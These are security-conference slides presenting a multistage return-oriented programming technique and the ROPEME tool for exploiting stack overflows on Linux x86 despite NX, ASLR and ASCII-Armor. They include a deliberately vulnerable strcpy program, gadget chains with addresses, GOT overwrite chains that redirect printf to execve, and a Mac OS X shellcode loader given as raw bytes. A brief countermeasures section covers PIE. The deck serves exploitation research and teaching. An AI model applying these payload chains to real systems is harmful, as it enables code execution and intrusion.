Payload Already Inside: Data re-use for ROP Exploits

Long Le
longld@vnsecurity.net

Thanh Nguyen
rd@vnsecurity.net
Agenda

- **Introduction**
- Recap on stack overflow & mitigations
- Multistage ROP technique
  - Stage-0 (stage-1 loader)
  - Stage-1 (actual payload)
    - Payload strategy
    - Resolve run-time libc addresses
- Putting all together, ROPEME!
  - Practical ROP payloads
    - A complete stage-0 loader
    - Practical ROP gadgets catalog
    - ROP automation
  - ROPEME Tool & DEMO
- Countermeasures
- Summary
Why this talk?

- Buffer overflow exploit on modern Linux (x86) distribution is difficult
  - Non Executable (NX/XD)
  - Address Space Layout Randomization (ASLR)
  - ASCII-Armor Address Mapping

High entropy ASLR and ASCII-Armor Address Mapping make Return-to-Libc / Return-Oriented-Programming (ROP) exploitation techniques become very difficult
What to be presented?

- A practical and reliable technique to bypass NX, ASLR and ASCII-Armor protections to exploit memory/stack corruption vulnerabilities
  - Multistage ROP exploitation technique
- Focus on latest Linux x86
- Our ROPEME tool
  - Practical ROP gadgets catalog
  - Automation scripts
What not?

- Not a return-oriented programming 101 talk
- We do not talk about
  - ASLR implementation flaws / information leaks
  - Compilation protections
    - Stack Protector / ProPolice
    - FORTIFY_SOURCE
  - Mandatory Access Control
    - SELinux
    - AppArmor
    - RBAC/Grsecurity
Agenda

- Introduction
- Recap on stack overflow & mitigations
- Multistage ROP technique
  - Stage-0 (stage-1 loader)
  - Stage-1 (actual payload)
    - Payload strategy
    - Resolve run-time libc addresses
- Putting all together, ROPEME!
  - Practical ROP payloads
    - A complete stage-0 loader
    - Practical ROP gadgets catalog
    - ROP automation
  - ROPEME Tool & DEMO
- Countermeasures
- Summary
Int main (int argc, char **argv)
{
    char buf[256];
    int i;
    seteuid (getuid());
    if (argc < 2)
    {
        puts ("Need an argument\n") ;
        exit (1);
    }

    // vulnerable code
    strcpy (buf, argv[1]);

    printf ("%s\nLen:%d\n", buf, (int)strlen(buf));
    return (0);
}
● Attacker controlled
  ▶ Execution flow: EIP
  ▶ Stack: ESP
Mitigation techniques

- Non executable (PaX, ExecShield..)
  - Hardware NX/XD bit
  - Emulation
- Address Space Layout Randomization (ASLR)
  - stack, heap, mmap, shared lib
  - application base (required userland compiler support for PIE)
- ASCII-Armor mapping
  - Relocate all shared-libraries to ASCII-Armor area (0-16MB). Lib addresses start with NULL byte
- Compilation protections
  - Stack Canary / Protector
  - FORTIFY_SOURCE
$ cat /proc/self/maps
00a97000-00c1d000 r-xp 00000000 fd:00 91231 /lib/libc-2.12.so
00c1d000-00c1f000 r--p 00185000 fd:00 91231 /lib/libc-2.12.so
00c1f000-00c20000 rw-p 00187000 fd:00 91231 /lib/libc-2.12.so
00c20000-00c23000 rw-p 00000000 00:00 0
08048000-08053000 r-xp 00000000 fd:00 21853 /bin/cat
08053000-08054000 rw-p 0000a000 fd:00 21853 /bin/cat
09fb2000-09fd3000 rw-p 00000000 00:00 0 [heap]
b777a000-b777b000 rw-p 00000000 00:00 0
b778a000-b778b000 rw-p 00000000 00:00 0
bfd07000-bfd1c000 rw-p 00000000 00:00 0 [stack]
<table>
<thead>
<tr>
<th>ASLR</th>
<th>Randomness</th>
<th>Circumvention</th>
</tr>
</thead>
<tbody>
<tr>
<td>shared library</td>
<td>12 bits* / 17 bits**</td>
<td>Feasible***</td>
</tr>
<tr>
<td>mmap</td>
<td>12 bits* / 17 bits**</td>
<td>Feasible***</td>
</tr>
<tr>
<td>heap</td>
<td>13 bits* / 23 bits**</td>
<td>Feasible*</td>
</tr>
</tbody>
</table>

* paxtest on Fedora 13 (ExecShield)
** paxtest on Gentoo with hardened kernel source 2.6.32 (Pax/Grsecurity)
*** Bypassing ASLR depends on the vulns, ASLR implementation and environmental factors.

17 bits might still be in a possible range to brute force.
Recap - Basic code injection

- Traditional in 1990s
  - Everything is static
  - Can perform arbitrary computation
- Does not work with NX
- Difficult with ASLR
Recap - Return-to-libc

- Bypass NX
- Difficult with ASLR/ASCII-Armor
  - Libc function’s addresses
  - Location of arguments on stack
  - NULL byte
→ Hard to make chained ret-to-libc calls
Recap – Return-Oriented Programming I

- Based on ret-to-libc and “borrowed code chunks”
- Gadgets: sequence of instructions ending with RET

![Diagram](image)

- Load a value to the register
- Lift ESP up 8 bytes
- Add register's value to the memory location
Recap – Return-Oriented Programming II

- With enough of gadgets, ROP payloads could perform arbitrary computation (Turing-complete)

- Problems
  - Small number of gadgets from vulnerable binary
  - Libs have more gadgets, but ASLR/ASCII-Armor makes it difficult similar to return-to-libc technique
## Exploitability v.s. Mitigation Techniques

<table>
<thead>
<tr>
<th>Mitigation</th>
<th>Exploitability</th>
</tr>
</thead>
<tbody>
<tr>
<td>NX</td>
<td>Easy</td>
</tr>
<tr>
<td>ASLR</td>
<td>Feasible</td>
</tr>
<tr>
<td>NX + ASCII-Armor</td>
<td>Feasible*</td>
</tr>
<tr>
<td>Stack Canary / Protector</td>
<td>Depends*</td>
</tr>
<tr>
<td>NX + ASLR</td>
<td>Depends*</td>
</tr>
<tr>
<td>NX + ASLR + ASCII-Armor</td>
<td>Hard*</td>
</tr>
<tr>
<td>NX + ASLR + ASCII-Armor + Stack Canary + PIE</td>
<td>Hard++*</td>
</tr>
</tbody>
</table>

* depends on the vulns, context and environmental factors

our target to make this become easy
Agenda

- Introduction
- Recap on stack overflow & mitigations
- **Multistage ROP technique**
  - **Stage-0 (stage-1 loader)**
  - **Stage-1 (actual payload)**
    - Payload strategy
    - Resolve run-time libc addresses
- **Putting all together, ROPEME!**
  - Practical ROP payloads
    - A complete stage-0 loader
    - Practical ROP gadgets catalog
    - ROP automation
  - ROPEME Tool & DEMO
- Countermeasures
- Summary
Multistage payload

• Basic idea is to build
  ▶ A generic Stage-0 payload which helps to bypass ASLR, NX & ASCII-Armor protections using a few ROP gadgets inside executable files (available in most of binaries compiled using GCC) to load a more complex Stage-1's payload.
  ▶ Stage-1 payload could be a full ROP shellcode, chained libc calls or normal shellcode
Stage-0: Build stack at a fixed location

- Custom stack at a fixed location
  - Full control of stack, no need to worry about randomized stack addresses
  - Control of function's arguments
  - Control of stack frames
Stage-0: Build stack at a fixed location II

Stack growth

"/bin/sh"

0x8049838
pop-ret
&system()

leave; ret

0x8049820
pop ebp; ret

0x8049810

system()'s argument

Next stack frame
Stage-0: Build stack at a fixed location III

- Location for the new stack?
  - Data section of binary
    - Writable
    - Address is known in advance
### Stage-0: Build stack at a fixed location IV

<table>
<thead>
<tr>
<th>Nr</th>
<th>Name</th>
<th>Type</th>
<th>Addr</th>
<th>Off</th>
<th>Size</th>
<th>ES</th>
<th>Flg</th>
<th>Lk</th>
<th>Inf</th>
<th>Al</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>NULL</td>
<td>NULL</td>
<td>00000000</td>
<td>000000</td>
<td>000000</td>
<td>00</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>1</td>
<td>.interp</td>
<td>PROGBITS</td>
<td>08048134</td>
<td>00134</td>
<td>000013</td>
<td>00</td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>2</td>
<td>.note.ABI-tag</td>
<td>NOTE</td>
<td>08048148</td>
<td>00148</td>
<td>000020</td>
<td>00</td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>3</td>
<td>.note.gnu.build-i</td>
<td>NOTE</td>
<td>08048168</td>
<td>00168</td>
<td>000024</td>
<td>00</td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>4</td>
<td>.gnu.hash</td>
<td>GNU_HASH</td>
<td>0804818c</td>
<td>0018c</td>
<td>000020</td>
<td>04</td>
<td>A</td>
<td>5</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>5</td>
<td>.dynsym</td>
<td>DYNSYM</td>
<td>080481ac</td>
<td>001ac</td>
<td>0000b0</td>
<td>10</td>
<td>A</td>
<td>6</td>
<td>1</td>
<td>4</td>
</tr>
<tr>
<td>6</td>
<td>.dynstr</td>
<td>STRTAB</td>
<td>0804825c</td>
<td>0025c</td>
<td>000073</td>
<td>00</td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>7</td>
<td>.gnu.version</td>
<td>VERSYM</td>
<td>080482d0</td>
<td>002d0</td>
<td>000016</td>
<td>02</td>
<td>A</td>
<td>5</td>
<td>0</td>
<td>2</td>
</tr>
<tr>
<td>8</td>
<td>.gnu.version_r</td>
<td>VERNEED</td>
<td>080482e8</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>6</td>
<td>1</td>
<td>4</td>
</tr>
<tr>
<td>9</td>
<td>.rel.dyn</td>
<td>REL</td>
<td>08048308</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>5</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>10</td>
<td>.rel.plt</td>
<td>REL</td>
<td>08048310</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>5</td>
<td>12</td>
<td>4</td>
</tr>
<tr>
<td>11</td>
<td>.init</td>
<td>PROGBITS</td>
<td>08048358</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>12</td>
<td>.plt</td>
<td>PROGBITS</td>
<td>08048388</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>13</td>
<td>.text</td>
<td>PROGBITS</td>
<td>08048430</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>16</td>
</tr>
<tr>
<td>14</td>
<td>.fini</td>
<td>PROGBITS</td>
<td>0804860c</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>15</td>
<td>.rodata</td>
<td>PROGBITS</td>
<td>08048628</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>16</td>
<td>.eh_frame_hdr</td>
<td>PROGBITS</td>
<td>08048650</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>17</td>
<td>.eh_frame</td>
<td>PROGBITS</td>
<td>08048674</td>
<td></td>
<td></td>
<td></td>
<td>A</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>18</td>
<td>.ctors</td>
<td>PROGBITS</td>
<td>080496f0</td>
<td></td>
<td></td>
<td></td>
<td>WA</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>19</td>
<td>.dtors</td>
<td>PROGBITS</td>
<td>080496f8</td>
<td></td>
<td></td>
<td></td>
<td>WA</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>20</td>
<td>.jcr</td>
<td>PROGBITS</td>
<td>08049700</td>
<td></td>
<td></td>
<td></td>
<td>WA</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>21</td>
<td>.dynamic</td>
<td>DYNAMIC</td>
<td>08049704</td>
<td></td>
<td></td>
<td></td>
<td>WA</td>
<td>6</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>22</td>
<td>.got</td>
<td>PROGBITS</td>
<td>080497cc</td>
<td></td>
<td></td>
<td></td>
<td>WA</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>23</td>
<td>.got.plt</td>
<td>PROGBITS</td>
<td>080497d0</td>
<td></td>
<td></td>
<td></td>
<td>WA</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>24</td>
<td>.data</td>
<td>PROGBITS</td>
<td>08049800</td>
<td></td>
<td></td>
<td></td>
<td>WA</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>25</td>
<td>.bss</td>
<td>NOBITS</td>
<td>08049804</td>
<td></td>
<td></td>
<td></td>
<td>WA</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
</tbody>
</table>
Stage-0: Transfer stage-1 to the new stack

Use memory copy gadgets / functions to transfer stage-1's payload to the new stack

► load reg; store [mem_addr], reg
► return to strcpy() / sprintf()

• Return to PLT (Procedure Linkage Table)
• Resolve runtime libc address
  – GOT overwriting / GOT dereferencing

• No NULL byte in stage-0 payload
• Transfer byte-per-byte of payload
• Where is my payload?
  ► Re-use data inside binary
Stage-0's payload generator

- **Input:** stage-1 payload
- **Output:** stage-0 payload that transfers stage-1 payload to the custom stack
- **How?**
  - Search in binary for a sequence of byte(s) of stage-1's payload
  - Generate `strcpy()` call
    - **Src:** address found in previous step
    - **Dst:** custom stack
  - Repeat above steps until no byte left
Stage-0 example

- Transfer “/bin/sh” => 0x08049824

strcpy@plt:
  0x0804852e <+74>: call 0x80483c8 <strcpy@plt>

pop-pop-ret:
  0x80484b3 <__do_global_dtors_aux+83>: pop ebx
  0x80484b4 <__do_global_dtors_aux+84>: pop ebp
  0x80484b5 <__do_global_dtors_aux+85>: ret

Byte values and stack layout:
0x8048134 : 0x2f '/'
  ['0x80483c8', '0x80484b3', '0x8049824', '0x8048134']
0x8048137 : 0x62 'b'
  ['0x80483c8', '0x80484b3', '0x8049825', '0x8048137']
0x804813d : 0x696e 'in'
  ['0x80483c8', '0x80484b3', '0x8049826', '0x804813d']
0x8048134 : 0x2f '/'
  ['0x80483c8', '0x80484b3', '0x8049828', '0x8048134']
0x804887b : 0x736800 'sh\x00'
  ['0x80483c8', '0x80484b3', '0x8049829', '0x804887b']
Transfer control to the custom stack

- At the end of stage-0
- ROP gadgets

(1) pop ebp; ret
(2) leave; ret

(1) pop ebp; ret
(2) mov esp, ebp; ret
Stage-0 summary

- Stage-0 advantages
  - Full control of stack, no need to worry about randomized stack addresses
  - ASCII-Armor
    - Stage-1 payload can contains any byte value including NULL byte

- Practical in most of binaries
  - Only a minimum number of ROP gadgets are required for stage-0 payload (available in most of binaries)
    - Load register (pop reg)
    - Add/sub memory (add [reg], reg)
    - Stack pointer manipulation (pop ebp; ret / leave; ret)
Agenda

- Introduction
- Recap on stack overflow & mitigations
- Multistage ROP technique
  - Stage-0 (stage-1 loader)
  - **Stage-1 (actual payload)**
    - Payload strategy
    - Resolve run-time libc addresses
- Putting all together, ROPEME!
  - Practical ROP payloads
    - A complete stage-0 loader
    - Practical ROP gadgets catalog
    - ROP automation
  - ROPEME Tool & DEMO
- Countermeasures
- Summary
Stage-1 payload strategy

- Chained ret-to-libc calls
  - Easy with a fixed stack from stage-0
- Normal shellcode with return-to-mprotect
  - Works on most of distributions*
- ROP shellcode
  - Multiple GOT overwrites
  - Use gadgets from libc

* PaX has mprotect restriction so this will not work
**Return-to-PLT**

gdb$ x/i 0x0804852d
0x804852d <main+73>: call 0x80483c8 <strcpy@plt>

```
strcpy@PLT
```

```
gdb$ x/i 0x80483c8
0x80483c8 <strcpy@plt>: jmp DWORD PTR ds:0x80497ec
```

```
gdb$ x/x 0x80497ec
0x80497ec <GLOBAL_OFFSET_TABLE+_24>: 0x00b0e430
```

```
gdb$ x/i 0x00b0e430
0xb0e430 <strcpy>: push ebp
```

```
strcpy@GOT
```

```
strcpy@LIBC
```
**Resolve run-time libc addresses**

- The bad:
  - Libc based addresses are randomized (ASLR)
- The good:
  - Offset between two functions is a constant
    - `addr(system) – addr(printf) = offset`
  - We can calculate any address from a known address in GOT (Global Offset Table)
  - ROP gadgets are available
**GOT overwriting I**

- Favorite method to exploit format string bug
- Steps
  - Load the offset into register
  - Add register to memory location (GOT entry)
  - Return to PLT entry
- ROP Gadgets
  - Load register
  - Add memory

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>(1)</td>
<td>pop ecx; pop ebx; leave; ret</td>
</tr>
<tr>
<td>(2)</td>
<td>pop ebp; ret</td>
</tr>
<tr>
<td>(3)</td>
<td>add [ebp+0x5b042464] ecx; pop ebp; ret</td>
</tr>
</tbody>
</table>
**GOT overwriting II**

- `printf()` => `execve()`

Stack growth

- `0x8048ae: add [ebp+0x5b042464] ecx; pop ebp; ret`
- `printf@GOT - 0x5b042464 = 0xad007388`
- `0x8048b4: pop ebp; ret`
- `execve() - printf() = 0x54120`
- `0x8048624: pop ecx; pop ebx; leave; ret`
- `0x80497ec`
- `0x8049810`
- `0x80484ae: add [ebp+0x5b042464] ecx; pop ebp; ret`
- `printf@GOT - 0x5b042464 = 0xad007388`
- `0x8048b4: pop ebp; ret`

**printf@PLT**: `0x80483d8`

**printf@GOT**: `0x80497ec`
**GOT dereferencing I**

- **Steps**
  - Load the offset into register
  - Add the register with memory location (GOT entry)
  - Jump to or call the register
- **ROP gadgets**
  - Load register
  - Add register
  - Jump/call register

```
(1) pop eax;  
    pop ebx;  
    leave; ret

(2) add eax [ebx-0xb8a0008];  
    lea esp [esp+0x4]; pop ebx;  
    pop ebp; ret

(3) call eax;  
    leave; ret
```
**GOT dereferencing II**

- `printf()` => `execve()`

Stack growth:

- `0x80484e0`: call eax; leave; ret
- `0x80485fe`: add eax [ebx-0xb8a0008];
  - lea esp [esp+0x4]; pop ebx;
  - pop ebp; ret
- `printf@GOT + 0xb8a0008 = 0x138e97f4`
- `execve() - printf() = 0x54120`
- `0x8048384`: pop eax; pop ebx; leave; ret
- `0x80484b4`: pop ebp; ret
**Availability of GOT manipulation gadgets**

GOT overwriting gadgets:

- 0x8048624 <__fini+24>: pop ecx
- 0x8048625 <__fini+25>: pop ebx
- 0x8048626 <__fini+26>: leave
- 0x8048627 <__fini+27>: ret

- 0x80484ae <__do_global_dtors_aux+78>: add DWORD PTR [ebp+0x5b042464], ecx
- 0x80484b4 <__do_global_dtors_aux+84>: pop ebp
- 0x80484b5 <__do_global_dtors_aux+85>: ret

GOT dereferencing gadgets:

- 0x8048384 <__init+44>: pop eax
- 0x8048385 <__init+45>: pop ebx
- 0x8048386 <__init+46>: leave
- 0x8048387 <__init+47>: ret

- 0x80485fe <__do_global_ctors_aux+30>: add eax, DWORD PTR [ebx-0xb8a0008]
- 0x8048604 <__do_global_ctors_aux+36>: lea esp, [esp+0x4]
- 0x8048608 <__do_global_ctors_aux+40>: pop ebx
- 0x8048609 <__do_global_ctors_aux+41>: pop ebp
- 0x804860a <__do_global_ctors_aux+42>: ret

Auxiliary functions generated by GCC compiler contains enough gadgets for GOT manipulation.
Agenda

• Introduction
• Recap on stack overflow & mitigations
• Multistage ROP technique
  ▶ Stage-0 (stage-1 loader)
  ▶ Stage-1 (actual payload)
    ♦ Payload strategy
    ♦ Resolve run-time libc addresses
• Putting all together, ROPEME!
  ▶ Practical ROP payloads
    ♦ A complete stage-0 loader
    ♦ Practical ROP gadgets catalog
    ♦ ROP automation
  ▶ ROPEME Tool & DEMO
• Countermeasures
• Summary
A complete stage-0 loader

- Turn any function to strcpy() / sprintf()
  - GOT overwriting
- ROP loader

(1) pop ecx; ret
(2) pop ebp; ret
(3) add [ebp+0x5b042464] ecx; ret
Practical ROP gadgets catalog

- Less than 10 gadgets?
  - Load register
    - pop reg
  - Add/sub memory
    - add [reg + offset], reg
  - Add/sub register (optional)
    - add reg, [reg + offset]
ROP automation

- Generate and search for required gadgets addresses in vulnerable binary
- Generate stage-1 payload
- Generate stage-0 payload
- Launch exploit
ROPEME!

- ROPEME – Return-Oriented Exploit Made Easy
  - Generate gadgets for binary
  - Search for specific gadgets
  - Sample stage-1 and stage-0 payload generator

```
ROPeMe> help
Available commands: type help <command> for detail
  generate  Generate ROP gadgets for binary
  load      Load ROP gadgets from file
  search    Search ROP gadgets
  shell     Run external shell commands
  ^D         Exit

ROPeMe> load vuln.ggt
Loading asm gadgets from file: vuln.ggt ...
Loaded 73 gadgets
ELF base address: 0x8048000
OK
ROPeMe> search pop eax %
Searching for ROP gadget: pop eax %
0x8048384L: pop eax ; pop ebx ; leave ;;
ROPeMe> s add %
Searching for ROP gadget: add %
0x8048383L: add [eax+0x5b] bl ; leave ;;
0x8049266L: add [eax] al ; add [eax] eax ; sbb [eax] al ;;
```

VN Security
• ROPEME

http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/

• ROP Exploit
  ▶ LibTIFF 3.92 buffer overflow (CVE-2010-2067)
    ♦ Dan Rosenberg's "Breaking LibTIFF"
  ▶ PoC exploit for "tiffinfo"
    ♦ No strcpy() in binary
      ♦strcasecmp() => strcpy()
  ▶ Distro
    ♦ Fedora 13 with ExecShield
Agenda

- Introduction
- Recap on stack overflow & mitigations
- Multistage ROP technique
  - Stage-0 (stage-1 loader)
  - Stage-1 (actual payload)
    - Payload strategy
    - Resolve run-time libc addresses
- Putting all together, ROPEME!
  - Practical ROP payloads
    - A complete stage-0 loader
    - Practical ROP gadgets catalog
    - ROP automation
  - ROPEME Tool & DEMO
- Countermeasures
- Summary
Countermeasures

Position Independent Executable (/PIE)

- Randomize executable base (ET_EXEC)
- NULL byte in all PROT_EXEC mappings, including executable base

Effective to prevent “borrowed code chunks”/ROP style exploits. Another information leak flaw or ASLR implementation flaw is required for the attack to be success.

- Not widely adopted by vendors
  - Recompilation efforts
  - Used in critical applications in popular distros
BONUS SLIDES
Mac OS X is hacker friendly

- /usr/lib/dyld is always loaded at fixed address
- A lots of helper functions: _strcpy, syscall
- __IMPORT section of is RWX

__TEXT 8fe00000-8fe0b000 [ 44K] r-x/rwx SM=COW /usr/lib/dyld
__TEXT 8fe0b000-8fe0c000 [  4K] r-x/rwx SM=PRV /usr/lib/dyld
__TEXT 8fe0c000-8fe42000 [ 216K] r-x/rwx SM=COW /usr/lib/dyld
__LINKEDIT 8fe70000-8fe84000 [  80K] r--/rwx SM=COW /usr/lib/dyld
__DATA 8fe42000-8fe44000 [  8K] rw-/rwx SM=PRV /usr/lib/dyld
__DATA 8fe44000-8fe6f000 [ 172K] rw-/rwx SM=COW /usr/lib/dyld
__IMPORT 8fe6f000-8fe70000 [  4K] rwx/rwx SM=COW /usr/lib/dyld

Our target
• Simple version
  ▶ Stage-1: any shellcode
  ▶ Stage-0: `_strcpy()` sequence with data from dyld

• *MORE* simple version
  ▶ Stage-2: any shellcode
  ▶ Stage-1: small shellcode loader (7 bytes)
  ▶ Stage-0: short `_strcpy()` sequence + shellcode
• Stage-1: shellcode loader

```
# 58  pop eax    # eax -> TARGET
# 5B  pop ebx    # ebx -> STRCPY
# 54  push esp   # src -> &shellcode
# 50  push eax   # dst -> TARGET
# 50  push eax   # jump to TARGET when return from _strncpy()
# 53  push ebx   # STRCPY
# C3  ret        # execute _strcpy(TARGET, &shellcode)
```

STAGE1 = "\x58\x5b\x54\x50\x50\x53\xc3"

http://www.vnsecurity.net/2010/10/simple-mac-os-x-ret2libc-exploit-x86/
Q & A